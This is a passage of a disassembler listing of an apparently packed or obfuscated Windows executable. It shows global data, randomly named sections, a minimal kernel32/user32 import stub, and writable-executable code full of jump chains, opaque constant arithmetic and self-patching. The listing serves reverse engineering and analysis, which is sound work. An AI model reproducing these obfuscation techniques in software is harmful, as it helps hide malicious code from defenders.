sub_411E84+6r dword_426508 dd 0 ; DATA XREF: sub_4190F4+10r ; sub_4190F4+60w ... dword_42650C dd 0 ; DATA XREF: sub_4190F4+75w ; sub_4190F4:loc_419242r dword_426510 dd 0 ; DATA XREF: sub_4190F4+82w ; sub_4190F4+167r dword_426514 dd 0 ; DATA XREF: sub_4190F4+D0w ; sub_4190F4:loc_4191C9r dword_426518 dd 0 ; DATA XREF: sub_4190F4+BAw ; sub_4190F4+E1r ... align 10h dword_426520 dd 0 ; DATA XREF: sub_41933C+Fw dd 2Fh dup(0) dword_4265E0 dd 0 ; DATA XREF: sub_41A399:loc_41A3C1r byte_4265E4 db 0 ; DATA XREF: sub_41A564:loc_41A6A0r align 4 dword_4265E8 dd 0 ; DATA XREF: sub_401000+98w ; sub_401000+12Dr ... dword_4265EC dd 0 ; DATA XREF: sub_401000+B8w ; sub_401000+145r ... dword_4265F0 dd 0 ; DATA XREF: sub_401000+DCw ; sub_401000+15Dr ... dword_4265F4 dd 0 ; DATA XREF: sub_401000+68w ; sub_401000+109r ... dword_4265F8 dd 0 ; DATA XREF: sub_401000+78w ; sub_401000+115r ... dword_4265FC dd 0 ; DATA XREF: sub_401000+88w ; sub_401000+121r ... dword_426600 dd 0 ; DATA XREF: sub_401000+48w ; sub_401000+ECr ... dword_426604 dd 0 ; DATA XREF: sub_401000+A8w ; sub_401000+139r ... dword_426608 dd 0 ; DATA XREF: sub_401000+F2w ; sub_401000+268r dword_42660C dd 0 ; DATA XREF: sub_401000+58w ; sub_401000+FDr ... dword_426610 dd 0 ; DATA XREF: sub_401000+C8w ; sub_401000+151r ... dword_426614 dd 0 ; DATA XREF: sub_40312D+A3w ; sub_408CC5+21Cr ... dword_426618 dd 0 ; DATA XREF: sub_402BB7+4Bw ; sub_40386C+Dr ... dword_42661C dd 0 ; DATA XREF: sub_402BB7+50w ; sub_40386C+13r ... dword_426620 dd 0 ; DATA XREF: sub_402BB7+61w dword_426624 dd 0 ; DATA XREF: sub_402BB7+66w dword_426628 dd 0 ; DATA XREF: sub_402BB7+71w dword_42662C dd 0 ; DATA XREF: sub_402BB7+76w dword_426630 dd 0 ; DATA XREF: sub_402D40w ; sub_402D8A:loc_402DAAr ... dword_426634 dd 0 ; DATA XREF: sub_402D40+7w ; sub_402D8A+27r ... dword_426638 dd 0 ; DATA XREF: sub_402D40+1Ew ; sub_402D40+2Do ... dword_42663C dd 0 ; DATA XREF: sub_402D40+23w dd 33h dup(0) dword_42670C dd 2 dup(0) ; DATA XREF: sub_402D40+41o word_426714 dw 0 ; DATA XREF: sub_4030E2+22o ; sub_40312D+A8w ... word_426716 dw 0 ; DATA XREF: sub_40312D+C4w dword_426718 dd 0 ; DATA XREF: sub_40312D+CAw dd 2 dup(0) dword_426724 dd 0 ; DATA XREF: sub_40300B+6r ; sub_40300B+73r ... dword_426728 dd 41h dup(0) ; DATA XREF: sub_40312D+Do ; sub_40312D+49o ... dword_42682C dd 0 ; DATA XREF: sub_4030E2+27r ; sub_40312D+7Dw ... byte_426830 db 0 ; DATA XREF: sub_40312D+27o ; sub_40312D+6Ew ... align 4 dd 40h dup(0) byte_426934 db 0 ; DATA XREF: sub_40312D+10Fw ; sub_4049E1+3D8w ... align 4 dword_426938 dd 41h dup(0) ; DATA XREF: sub_40312D+1Ao ; sub_403249:loc_403442o dword_426A3C dd 0 ; DATA XREF: sub_401000+386o ; sub_402833+167o ... byte_426A40 db 0 ; DATA XREF: sub_40386C:loc_40389Cr ; sub_4049E1+36Ew ... align 4 dd 8 dup(0) dword_426A64 dd 0 ; DATA XREF: sub_4081DD+32w ; sub_4081DD+96r ... dword_426A68 dd 40h dup(0) ; DATA XREF: sub_407F60+21o ; sub_407FE4+45o byte_426B68 db 0 ; DATA XREF: .text:0040A20Dw align 4 dd 3Fh dup(0) dword_426C68 dd 0 ; DATA XREF: .text:0040A1B5r ; .text:0040A1E3w dd 3 dup(0) db 0 byte_426C79 db 0 ; DATA XREF: .text:loc_409F26r ; .text:0040A323w align 4 dd 3 dup(0) dword_426C88 dd 0 ; DATA XREF: .text:loc_40A2FDr dd 330Bh dup(0) dword_4338B8 dd 0 ; DATA XREF: sub_403249+3C2w ; sub_403249+441r ... db 0 byte_4338BD db 0 ; DATA XREF: sub_4049E1+3CAw ; sub_407F60+Er ... align 10h dword_4338C0 dd 0 ; DATA XREF: sub_4081DD+151w dword_4338C4 dd 0 ; DATA XREF: sub_407FE4:loc_40814Ew ; sub_407FE4+190r ... dword_4338C8 dd 5Eh dup(0) ; DATA XREF: .text:004096C1o dword_433A40 dd 5Dh dup(0) ; DATA XREF: .text:004096E4o dword_433BB4 dd 0 ; DATA XREF: sub_401E54+43o ; sub_4046BC+F0o ... dword_433BB8 dd 0 ; DATA XREF: sub_401E54+34r ; sub_4046BC+E9r ... dword_433BBC dd 0 ; DATA XREF: sub_401FC0+20r ; sub_401FC0:loc_40201Dw ... dword_433BC0 dd 0 ; DATA XREF: sub_402833+BCo ; sub_408395+43o ... dword_433BC4 dd 0 ; DATA XREF: sub_402833+AFr ; sub_402833:loc_402903r ... dword_433BC8 dd 0 ; DATA XREF: sub_408428+82w ; sub_408525+20r ... off_433BCC dd offset aJ@ ; DATA XREF: .text:0041D788o ; .text:0041D792w ; "Ȇ@" dword_433BD0 dd 2080Ah ; DATA XREF: .text:00409739o ; .text:0041D7A6w off_433BD4 dd offset aWv@ ; DATA XREF: .text:0041D7CEo ; .text:0041D7D8w ; "w¢@" off_433BD8 dd offset aTg@ ; DATA XREF: .text:0041D7EAo ; .text:0041D7F4w ; "T£@" off_433BDC dd offset aA@ ; DATA XREF: .text:0041D7B2o ; .text:0041D7BCw ; "Ñ@" dword_433BE0 dd 0 ; DATA XREF: sub_4143F6+34r dword_433BE4 dd 20h ; DATA XREF: sub_412464+3Cw ; sub_412464+BFw ... dd 6 dup(0) dword_433C00 dd 9F20B0h ; DATA XREF: sub_4107D6+FDr ; sub_411D0F+87r ... dd 3Fh dup(0) dword_433D00 dd 9F3188h ; DATA XREF: sub_411D0F+2Bw ; sub_411D0F+44w ... dd 7 dup(0) dword_433D20 dd 400h dup(0) ; DATA XREF: .data:off_423938o ; .data:00423940o dword_434D20 dd 200h ; DATA XREF: sub_411D0Fr ; sub_411D0F:loc_411D29w ... dword_434D24 dd 0 ; DATA XREF: sub_411C65w dword_434D28 dd 1 ; DATA XREF: sub_414943+B3w dword_434D2C dd 9F310Ch ; DATA XREF: sub_40C8D8+10r ; sub_40C8D8+9Bw ... dword_434D30 dd 9F3100h ; DATA XREF: sub_40C8D8+5r ; sub_40C8D8+87w ... dword_434D34 dd 1 ; DATA XREF: sub_40EE04r ; sub_40EE04+11w ... dword_434D38 dd 0 ; DATA XREF: sub_411A79:loc_411AE2r ; sub_411A79+74o ... dword_434D3C dd 1 ; DATA XREF: sub_40DE50r sub_411455w ... dword_434D40 dd 1 ; DATA XREF: sub_40C6F0+1Er ; sub_40D820+28r ... dword_434D44 dd 0 ; DATA XREF: sub_40FADD+28w ; sub_40FB25r ... dword_434D48 dd 0 ; DATA XREF: sub_40FADD+15w ; sub_40FB25+6r ... dword_434D4C dd 0 ; DATA XREF: sub_40D3E8+13r ; sub_40FADD+36w ... dword_434D50 dd 0 ; DATA XREF: sub_40FADD+2Fw ; sub_40FB50+2FCw ... dword_434D54 dd 0 ; DATA XREF: sub_40FADD+3Cw ; sub_40FE64r ... dword_434D58 dd 0 ; DATA XREF: sub_40FB50+229r ; sub_40FB50+249r ... dword_434D5C dd 1 ; DATA XREF: sub_40C58B:loc_40C5C4r ; sub_40D35A+13r ... dword_434D60 dd 152340h ; DATA XREF: .text:0040E0E5w ; sub_4148E6:loc_4148F7r ... align 400h _data ends ; Section 5. (virtual address 00036000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00036000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _2ksypd8v segment para public 'DATA' use32 assume cs:_2ksypd8v ;org 436000h dword_436000 dd 360CCh, 0 ; DATA XREF: isk1wxzg:004615EEo ; sub_4760A2+9o dd 0FFFFFFFFh, 3603Ch, 360B4h, 36108h, 0 dd 0FFFFFFFFh, 360E8h, 36104h, 5 dup(0) aKernel32_dll_1 db 'kernel32.dll',0 align 4 dd 65470000h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6F4C0000h dd 694C6461h, 72617262h, 4179h, 65470000h, 6F725074h, 64644163h dd 73736572h, 0 dd 78450000h, 72507469h, 7365636Fh, 73h, 69560000h, 61757472h dd 6C6C416Ch, 636Fh, 69560000h, 61757472h, 6572466Ch, 65h dd 77E79F93h, 77E805D8h, 77E7A5FDh, 77E75CB5h, 77E7980Ah dd 77E79E34h, 3604Ch, 36060h, 36070h, 36084h, 36094h, 360A4h dd 0 aUser32_dll_0 db 'user32.dll',0 align 4 dd 654D0000h, 67617373h, 786F4265h, 41h, 77D6ADD7h, 360F4h dd 359h dup(0) dd 1CF0600h, 1000h, 62h dup(0) _2ksypd8v ends ; --------------------------------------------------------------------------- ; Section 6. (virtual address 00037000) ; Virtual size : 00018000 ( 98304.) ; Section size in file : 00018000 ( 98304.) ; Offset to raw data for section: 00037000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute y22d6_y_ segment para public 'CODE' use32 assume cs:y22d6_y_ ;org 437000h ; START OF FUNCTION CHUNK FOR sub_439F2D assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing loc_437000: ; CODE XREF: sub_439F2D:loc_43BE61j ; DATA XREF: isk1wxzg:004616A8o xchg esi, [esp+0] jmp sub_44B06F ; END OF FUNCTION CHUNK FOR sub_439F2D ; --------------------------------------------------------------------------- loc_437008: ; CODE XREF: y22d6.y.:0043FF92j cdq add ebp, edx jmp loc_444814 ; --------------------------------------------------------------------------- loc_437010: ; DATA XREF: sub_448006:loc_43ADCDo pop edx jns loc_43EE8C mov eax, [esp] push esi mov esi, edx xchg esi, [esp] call sub_44B674 jmp loc_443A9C ; --------------------------------------------------------------------------- loc_43702A: ; CODE XREF: y22d6.y.:00440731j ; y22d6.y.:00444EC6j jz loc_448866 jmp loc_43BC42 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449641 loc_437035: ; CODE XREF: sub_449641:loc_439351j pop ecx sub edx, 5E21C20h cmp edx, 0BFC13B4Bh jmp loc_43EEE5 ; END OF FUNCTION CHUNK FOR sub_449641 ; --------------------------------------------------------------------------- mov ebp, [eax] jmp sub_4432B8 ; =============== S U B R O U T I N E ======================================= sub_43704E proc near ; CODE XREF: sub_402833+17Ap ; sub_4049E1+309p ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004399B9 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00439BA1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00439BF8 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0043B4B0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043D268 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043DD87 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043FADF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00443A14 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0044408C SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0044455C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044638B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0044B826 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0044BFAF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044C2D9 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0044DF44 SIZE 00000014 BYTES jns loc_44408C push 7F3D3579h loc_437059: ; CODE XREF: y22d6.y.:004385D1j pop eax loc_43705A: ; CODE XREF: sub_439407:loc_441D03j and eax, ds:4000E3h or eax, 27E994D5h jmp loc_44C2D9 sub_43704E endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_256. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_43706C: ; CODE XREF: y22d6.y.:004454E7j jl loc_446E74 ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_437072: ; CODE XREF: sub_4432B8+B1j jmp nullsub_55 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- shr edx, 5 adc ebx, edx jmp loc_44A987 ; --------------------------------------------------------------------------- sub edx, 40BD245Fh xchg ecx, eax jmp loc_44874F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B635 loc_43708E: ; CODE XREF: sub_43AF5B:loc_43B21Fj ; sub_44B635-7BC4j ... xor eax, 0DEBF6904h add eax, 0B9241504h xor eax, 0D42D5B70h ror eax, 1Ch add eax, 47EF37F3h push ebp mov ebp, ecx xchg ebp, [esp+4+var_4] jmp loc_447BD4 ; END OF FUNCTION CHUNK FOR sub_44B635 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4416F3 loc_4370B4: ; CODE XREF: sub_4416F3+174Cj and ebx, eax mov edi, [edx] loc_4370B8: ; CODE XREF: y22d6.y.:0044A6DAj pushf jmp loc_43BF27 ; END OF FUNCTION CHUNK FOR sub_4416F3 ; --------------------------------------------------------------------------- loc_4370BE: ; CODE XREF: y22d6.y.:loc_4462A2j push 0A70EEA1Ch pop ebx add ebx, 23840597h rol ebx, 0Ah and ebx, 306E5E3h add ebx, 0FD3DAC25h xchg ebx, [esp] jmp loc_448A8A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_80. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_4370E2: ; CODE XREF: y22d6.y.:0044B2ECj jmp nullsub_360 ; --------------------------------------------------------------------------- loc_4370E7: ; CODE XREF: y22d6.y.:00447FD3j jmp sub_441030 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C6D7 loc_4370EC: ; CODE XREF: sub_43C6D7+8j jz loc_44E4CB jmp loc_44BE14 ; END OF FUNCTION CHUNK FOR sub_43C6D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_4370F7: ; CODE XREF: sub_44B17B-AB1Fj add edx, ebp call sub_43FFE2 loc_4370FE: ; CODE XREF: sub_44B489:loc_43BCD8j push edx push 0D69AAEDFh pop edx and edx, 8B395991h test edx, 10h loc_437111: ; CODE XREF: y22d6.y.:loc_438CF4j jmp loc_44A95C ; END OF FUNCTION CHUNK FOR sub_44B17B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_99. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441A2B loc_437117: ; CODE XREF: sub_441A2B:loc_444D2Fj jmp loc_444597 ; END OF FUNCTION CHUNK FOR sub_441A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43711C: ; CODE XREF: sub_448EB6-10887j jnz loc_43BE5E jmp loc_43E399 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- shl ecx, 15h jmp sub_43C55B ; --------------------------------------------------------------------------- loc_43712F: ; DATA XREF: sub_438B66+81Eo call sub_43CA1A mov ds:off_41E0B8, eax lea eax, sub_43B58F mov byte ptr [eax], 0C3h jmp loc_43FF5B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C694 loc_437148: ; CODE XREF: sub_43C694:loc_4427EBj and edi, ebp and eax, 59B96F40h or ecx, ebx sbb ecx, 0ACAB1301h shr ebx, 1Fh jmp loc_437CFE ; END OF FUNCTION CHUNK FOR sub_43C694 ; --------------------------------------------------------------------------- or ecx, 43953F1Ah jmp sub_43A041 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_63. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_43716C: ; CODE XREF: y22d6.y.:0043EE94j jmp locret_44E19D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_149. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E7BF loc_437172: ; CODE XREF: sub_43E7BF-2130j mov edx, eax pop eax mov eax, [esp+0] push edx call sub_44A413 mov eax, 1A07B6BCh jmp loc_445CE0 ; END OF FUNCTION CHUNK FOR sub_43E7BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E185 loc_437188: ; CODE XREF: sub_43E185-4C3Dj push 3FAF18A3h and ebx, 0BFA2CA57h jmp loc_44DA63 ; END OF FUNCTION CHUNK FOR sub_43E185 ; --------------------------------------------------------------------------- xchg eax, ecx jno loc_43A2F1 jmp sub_4489FA ; --------------------------------------------------------------------------- loc_4371A5: ; DATA XREF: y22d6.y.:004471AFo pop ecx mov [ebp-20h], eax jmp loc_444720 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44CB3F loc_4371AE: ; CODE XREF: sub_44CB3F:loc_449826j test byte ptr [ebp-7], 8 loc_4371B2: ; CODE XREF: y22d6.y.:loc_44CB39j jz loc_43CE51 push ebp push offset loc_4430C4 jmp nullsub_329 ; END OF FUNCTION CHUNK FOR sub_44CB3F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A5E5 loc_4371C3: ; CODE XREF: sub_44A5E5:loc_4396EBj ; sub_4432B8+169j add edi, 0AF7D439h xchg edi, [esp+0] jmp loc_44E2AA ; END OF FUNCTION CHUNK FOR sub_44A5E5 ; --------------------------------------------------------------------------- loc_4371D1: ; CODE XREF: y22d6.y.:00443782j jb loc_442F54 or ebp, 0BB956894h mov eax, [ebx] loc_4371DF: ; CODE XREF: y22d6.y.:loc_44D6A6j mov eax, [esp] push edx push 5BF6A406h pop edx jmp loc_438B72 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43872E loc_4371EE: ; CODE XREF: sub_43872E:loc_43A6DCj push edx call sub_438F17 shr eax, 1Fh jmp loc_4376B2 ; END OF FUNCTION CHUNK FOR sub_43872E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449641 loc_4371FC: ; CODE XREF: sub_449641:loc_44245Aj push 0D38B4117h pop esi add esi, 1E99128Eh xor esi, ds:4000E5h sub esi, 51CFD5CBh add esi, 730C127Fh mov [esi], eax pop esi jmp loc_44887D ; END OF FUNCTION CHUNK FOR sub_449641 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C7C1 loc_437222: ; CODE XREF: sub_43C7C1+1ABFj pop eax loc_437223: ; CODE XREF: sub_43C7C1:loc_43E26Dj xor ecx, 6665BFBh add ecx, 4C48A4E6h mov [ecx], eax jmp loc_43EE7D ; END OF FUNCTION CHUNK FOR sub_43C7C1 ; =============== S U B R O U T I N E ======================================= sub_437236 proc near ; CODE XREF: y22d6.y.:00446FB0p ; sub_448EB6:loc_4476C3j xchg eax, [esp+0] pop eax mov byte ptr [eax], 0C3h jmp sub_44B81B sub_437236 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B81B loc_437242: ; CODE XREF: sub_44B81Bj xchg ecx, [esp+0] mov edx, ecx pop ecx jmp loc_43CF2E ; END OF FUNCTION CHUNK FOR sub_44B81B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44921D loc_43724D: ; CODE XREF: y22d6.y.:0043ADE3j ; sub_44921D:loc_44838Ej xor eax, 808937C6h call sub_43CA1A push ecx push 739F263Ch jmp loc_449BA0 ; END OF FUNCTION CHUNK FOR sub_44921D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44193A loc_437263: ; CODE XREF: sub_44193A+8BCj and eax, 482E9AB9h xor eax, 9828D20Eh or eax, 0B63D3EFBh add eax, 0A061A81h jmp loc_447F14 ; END OF FUNCTION CHUNK FOR sub_44193A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BCA9 loc_437280: ; CODE XREF: sub_43BCA9:loc_43C2A5j jz loc_43AFFB jmp loc_44421D ; END OF FUNCTION CHUNK FOR sub_43BCA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E39E loc_43728B: ; CODE XREF: sub_43E39E+1Aj jge loc_4378DE loc_437291: ; CODE XREF: sub_442245-866Dj jmp nullsub_33 ; END OF FUNCTION CHUNK FOR sub_43E39E ; --------------------------------------------------------------------------- mov eax, edi jmp loc_4378D3 ; --------------------------------------------------------------------------- loc_43729D: ; DATA XREF: sub_449641-A30Co popf xchg ebx, [esp] jmp loc_43F7FA ; --------------------------------------------------------------------------- mov edx, 3CC6743Ch push edi push 0C89DC38Fh xchg ebp, [esp] mov edi, ebp pop ebp jmp loc_43A67D ; =============== S U B R O U T I N E ======================================= sub_4372BC proc near ; CODE XREF: y22d6.y.:0043F9EBj ; sub_442856:loc_448687p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0043AD79 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx xchg ebx, [esp-4+arg_0] jmp loc_43AD79 sub_4372BC endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4475B3 loc_4372C8: ; CODE XREF: sub_4475B3:loc_44BDA1j pop ecx push offset loc_43C67C jmp nullsub_193 ; END OF FUNCTION CHUNK FOR sub_4475B3 ; =============== S U B R O U T I N E ======================================= sub_4372D3 proc near ; DATA XREF: sub_4427BB+1o mov [ebp-20h], eax jmp loc_447463 sub_4372D3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44CB3F loc_4372DB: ; CODE XREF: sub_44CB3F:loc_444720j test byte ptr [ebp-8], 40h call sub_4450FD loc_4372E4: ; CODE XREF: sub_44A947+10j jmp loc_4375AA ; END OF FUNCTION CHUNK FOR sub_44CB3F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_446082 loc_4372E9: ; CODE XREF: sub_446082+Cj jmp loc_438658 ; END OF FUNCTION CHUNK FOR sub_446082 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C17E loc_4372EE: ; CODE XREF: sub_43C17E:loc_43C190j and eax, 7 mov [ebp-14h], eax cmp dword ptr [ebp-10h], 3 jnb loc_444D67 push offset sub_447AE3 jmp loc_43935B ; END OF FUNCTION CHUNK FOR sub_43C17E ; --------------------------------------------------------------------------- mov eax, 0E5C827FEh call sub_43CA1A mov ds:off_41E090, eax call sub_43BDB0 ; START OF FUNCTION CHUNK FOR sub_44B06F loc_43731D: ; CODE XREF: sub_44B06F+2FA5j jmp sub_4397E6 ; END OF FUNCTION CHUNK FOR sub_44B06F ; --------------------------------------------------------------------------- push edi push 73BBFFE8h pop edi rol edi, 16h and edi, 0F3626799h add edi, 154E0DB6h jmp loc_43D95E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_253. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448C77 loc_43733E: ; CODE XREF: sub_448C77-6E64j ; sub_448EB6+171j rol eax, 0Bh push eax call sub_4480DE retn ; END OF FUNCTION CHUNK FOR sub_448C77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4397E6 loc_437348: ; CODE XREF: sub_4397E6+3j ; y22d6.y.:00441E86j jmp loc_449FBC ; END OF FUNCTION CHUNK FOR sub_4397E6 ; =============== S U B R O U T I N E ======================================= sub_43734D proc near ; CODE XREF: sub_4409F4:loc_443C58p ; FUNCTION CHUNK AT 00438036 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043C85A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043D463 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00441309 SIZE 0000000C BYTES push ebp jmp loc_43C85A sub_43734D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439595 loc_437353: ; CODE XREF: sub_439595+1444Aj pop ebx and ebx, 0B5D10EE0h xor ebx, 0D4D6BAE8h add ebx, 4E88E55Dh jb loc_4420DE jl nullsub_159 and ebx, 8A2FF7A5h not ebx jmp loc_4482A8 ; END OF FUNCTION CHUNK FOR sub_439595 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B81B loc_43737F: ; CODE XREF: sub_44B81B-D5EFj call sub_447A01 loc_437384: ; CODE XREF: sub_448EB6+2CEj jmp loc_4457B3 ; END OF FUNCTION CHUNK FOR sub_44B81B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4418C5 loc_437389: ; CODE XREF: sub_4418C5+Aj jmp loc_43E9C7 ; END OF FUNCTION CHUNK FOR sub_4418C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44066C loc_43738E: ; CODE XREF: sub_44066C+B0F6j popf loc_43738F: ; CODE XREF: sub_44066C:loc_4412D2j call sub_43760A mov edx, 0DD5E106Fh call sub_44D293 jmp sub_440B13 ; END OF FUNCTION CHUNK FOR sub_44066C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C242 loc_4373A3: ; CODE XREF: sub_43C242:loc_43EA17j ; sub_43C242+27E9j or edx, 0CABD76EDh add edx, 3545ADC3h call sub_448006 loc_4373B4: ; CODE XREF: y22d6.y.:0043F52Aj jmp loc_43C3F0 ; END OF FUNCTION CHUNK FOR sub_43C242 ; =============== S U B R O U T I N E ======================================= sub_4373B9 proc near ; CODE XREF: y22d6.y.:loc_43BAFBp ; FUNCTION CHUNK AT 00441760 SIZE 00000020 BYTES xchg edi, [esp+0] pop edi push edi push 0D29FBB79h pop edi jmp loc_441760 sub_4373B9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43AD2F loc_4373C9: ; CODE XREF: sub_43AD2F+8C81j xor edx, esi loc_4373CB: ; CODE XREF: sub_43AD2F:loc_44940Fj call sub_43760A mov edx, 4CB976E9h call sub_44D293 push eax ror eax, 11h mov ds:dword_441860, eax jmp nullsub_326 ; END OF FUNCTION CHUNK FOR sub_43AD2F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441C69 loc_4373E9: ; CODE XREF: sub_441C69-4108j cmp ecx, 0A4C328F3h jmp loc_437A16 ; END OF FUNCTION CHUNK FOR sub_441C69 ; --------------------------------------------------------------------------- loc_4373F4: ; CODE XREF: y22d6.y.:00444287j jnz loc_44D68F jmp loc_44D6A6 ; --------------------------------------------------------------------------- aQhU?nybLAbTU db 'Qh=u?YÁL$}Ét]Ò¹#',0Dh,'ã',0 ; DATA XREF: y22d6.y.:0044D99Do a@ db '@',0 ; --------------------------------------------------------------------------- add ecx, 102908A0h jmp loc_44CC3C ; --------------------------------------------------------------------------- mov ebx, [edx] jmp loc_440E75 ; --------------------------------------------------------------------------- jmp ds:dword_41E11C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_324. PRESS KEYPAD "+" TO EXPAND] db 80h, 37h, 25h dd 8B5A0000h, 7BE92404h, 87000097h, 525F243Ch, 12A86E8h dd 4822E900h, 8D680001h, 0E90044CCh, 0B824h, 0A5E9F585h dd 0F0000A4h, 0AEE181h, 0C3C15300h, 6FC38114h, 87CC97BBh dd 0A3E9241Ch, 0C1000055h, 0D28116E8h, 0FDDE8819h, 2B46E9h dd 24348700h, 0F008A5Eh, 1003A81h, 0DC9BE900h, 0F6810000h dd 7036B350h, 94FFEE81h, 0CE8148BFh, 8A8710CCh, 6F4E880Fh db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442C0C loc_4374AE: ; CODE XREF: sub_442C0C+561Aj jmp loc_4418E2 ; END OF FUNCTION CHUNK FOR sub_442C0C ; --------------------------------------------------------------------------- loc_4374B3: ; CODE XREF: y22d6.y.:00447C49j jmp loc_446405 ; --------------------------------------------------------------------------- add ebp, 3BAB3F22h jmp loc_44B391 ; --------------------------------------------------------------------------- mov eax, [esp] push eax push 5D1D1714h pop eax and eax, ds:4000E7h rol eax, 13h add eax, 0D841E290h jmp loc_441CC7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439051 loc_4374E1: ; CODE XREF: sub_439051+ABCBj pop esi add esi, 0A5EA64ACh sub esi, 7DF6D3C8h and esi, 1537F4F0h xor esi, 46E92E0Ch add eax, esi xchg ecx, [esp-4+arg_0] jmp loc_440FD0 ; END OF FUNCTION CHUNK FOR sub_439051 ; --------------------------------------------------------------------------- loc_437504: ; CODE XREF: y22d6.y.:0044BB7Cj or esi, 62C9E11Ah add esi, 156626BDh mov [esi], eax pop esi ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_361. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441A2B loc_437514: ; CODE XREF: sub_441A2B-957j jmp loc_444D17 ; END OF FUNCTION CHUNK FOR sub_441A2B ; --------------------------------------------------------------------------- loc_437519: ; CODE XREF: y22d6.y.:0043EF43j jmp loc_443923 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CBD3 loc_43751E: ; CODE XREF: sub_43CBD3+C89Fj ; sub_44B489-1003j rol eax, 11h push eax jmp loc_43DD8C ; END OF FUNCTION CHUNK FOR sub_43CBD3 ; --------------------------------------------------------------------------- push 31089BF2h pop eax or eax, 7019E7FAh jns loc_449AD6 loc_437539: ; CODE XREF: y22d6.y.:00445330j 